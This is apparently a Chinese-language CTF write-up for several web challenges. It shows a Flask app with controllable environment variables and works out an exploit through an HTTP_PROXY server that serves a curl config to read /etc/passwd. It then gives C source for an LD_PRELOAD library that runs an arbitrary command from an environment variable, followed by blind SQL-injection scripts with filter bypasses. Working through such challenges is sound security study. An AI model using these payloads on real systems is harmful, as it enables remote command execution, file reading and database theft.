[WEB] requests
签到题
[WEB] justcurl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| from flask import render_template, request, Flask
import os
app = Flask(__name__)
def check(s):
if 'LD' in s or 'BASH' in s or 'ENV' in s or 'PS' in s:
return False
return True
@ app.route('/')
@ app.route('/index')
def index():
try:
choose = request.args.get('choose')
except:
choose = ""
try:
key = request.args.get('key')
except:
key = ""
try:
value = request.args.get('value').upper()
except:
value = ""
if value:
if check(value):
os.environ[key] = value
if choose == "o":
cmd = "curl http://127.0.0.1:5000/result -o options.txt"
elif choose == "K":
cmd = "curl http://127.0.0.1:5000/result -K options.txt"
else:
cmd = "curl http://127.0.0.1:5000/result"
try:
res = os.popen(cmd).read()
return "your cmd is : " + cmd + " \n and your result id :" + res
except:
return "error"
@ app.route('/result')
def logout():
code = "no result"
return render_template("index.html",code=code)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
|
os.environ[key] = value
可以控制环境变量,这里想到的能利用的环境变量大致有下面这几个
- LD_PRELOAD
- ALL_PROXY
- HTTP_PROXY
翻下 curl的官方文档 ,发现curl会还会处理一些其他的环境变量,根据文档说明,能够利用的可能性不太大,暂时只考虑上面三个环境变量
分析处理逻辑,服务端会将对 http://127.0.0.1:5000/result
请求结果可以写入 options.txt
, 那可以控制环境变量 HTTP_PROXY
让 curl
把请求发到自己的服务器上,HTTP_PROXY
设置之后实际上就是把请求头发到代理服务器上,期望代理服务器转发这个请求,所以只需要写个服务器收到请求之后直接返回,贴个代码,HTTP_PROXY
如果没有指定端口号,默认为 1080 ,可以这样设置 HTTP_PROXY=http://<ip>:5000
1
2
3
4
5
6
7
8
9
10
11
12
13
| import flask
app = flask.Flask(__name__)
@app.route("/result")
def a():
return """ # --- Example file ---
url = "file:///etc/passwd"
# --- End of example file ---"""
if __name__ == '__main__':
app.run(host="0.0.0.0")
|
这样写到options里面的就是 curl
的配置文件,然后通过 curl -K
使用这个配置文件读到 /etc/passwd
具体配置文件的写法可以参考文档 ,贴个例子
1
2
3
4
5
6
| # --- Example file ---
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
referer = "http://nowhereatall.example.com/"
# --- End of example file ---
|
发现读不到 /flag
,再读了了几个 /proc
的文件之后都没发现 flag ,那肯定是需要 RCE
了,这里再注意到可以控制 LD_PRELOAD
环境变量,配合可以写入任意内容到文件,那传个 so
上去让 curl
加载就可以RCE了,抄个在 PHP
绕过 disable function
的代码,注意一下,后缀可以不是 so
,但是一定要记得写绝对路径,或者加 ./
在文件名前面否则会提示找不到文件,加载之后就可以通过设置 EVIL_CMDLINE
来执行命令了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| //gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
|
[WEB] simplephp
进去只有个登陆框,通过测试发现存在 sql 注入,但是过滤了很多东西,sqlmap
跑不出来。测试发现过滤了空格 = > <
发现下面这些表和函数都用不了,怎么会是呢,, 猜测可能有函数黑名单?那怎么拿数据库名、表名、列名呢?
1
2
3
| information_schema.tables
mysql.innodb_index_stats
sys.x$statement_analysis
|
1
2
3
4
5
6
7
8
9
| pow()
cot()
database()
concat()
if()
sleep()
version()
ascii()
ord()
|
通过 union select 1,2,3
是否报错测试出有三列的数据,进一步猜测猜出有一列的列名是 id
,表的名字是 users
,但是 users
表里面好像没有 admin
用户?,有没有可能本来就没有?感觉不太对吧,用这个注入是可以查到数据的 admin' --
,后端到底是怎么写的啊
队友写了个脚本为什么和我爆出来的结果不一样。爆破时间太长了,只爆破出一部分flag,等wp吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| import requests
def encode(p):
return p.replace(" ", "/**/")
def req(u):
url = "http://80.endpoint-b43d02f8371444fa96b42f8e6b55f399.ins.cloud.dasctf.com:81/login.php"
data = {
"username": encode(u),
"password": "admin",
"submit": "login"
}
r = requests.post(url, data=data)
return r.text, r.status_code
res = [3739]
while True:
for l in range(2, 35):
for i in range(3230, 3745):
payload = "fuck' or (select case when hex(hex(substr((select b from (select 1,2 as a,3 as b union select * from users)x limit 1,1),{0},1)))-{1} then 'a' else 'b' end) like 'a' --".format(l, i)
print(payload)
res = req(payload)
if '完全' not in res[0]:
res.append(i)
break
print(res)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| import requests
proxies = {
"http": "http://127.0.0.1:8080",
}
def encode(p):
return p.replace(" ", "/**/")
def req(u):
url = "http://80.endpoint-b43d02f8371444fa96b42f8e6b55f399.ins.cloud.dasctf.com:81/login.php"
data = {
"username": encode(u),
"password": "admin",
"submit": "login"
}
r = requests.post(url, data=data, proxies=proxies)
return r.text, r.status_code
r = ''
while True:
for i in range(32, 128):
if chr(i) == "%":
continue
res = req(f"' union select 1,2,3 as b from users where b like '{r + chr(i)}%' --") # 可能有问题
if '完全' in res[0]:
r += chr(i)
break
print(r)
|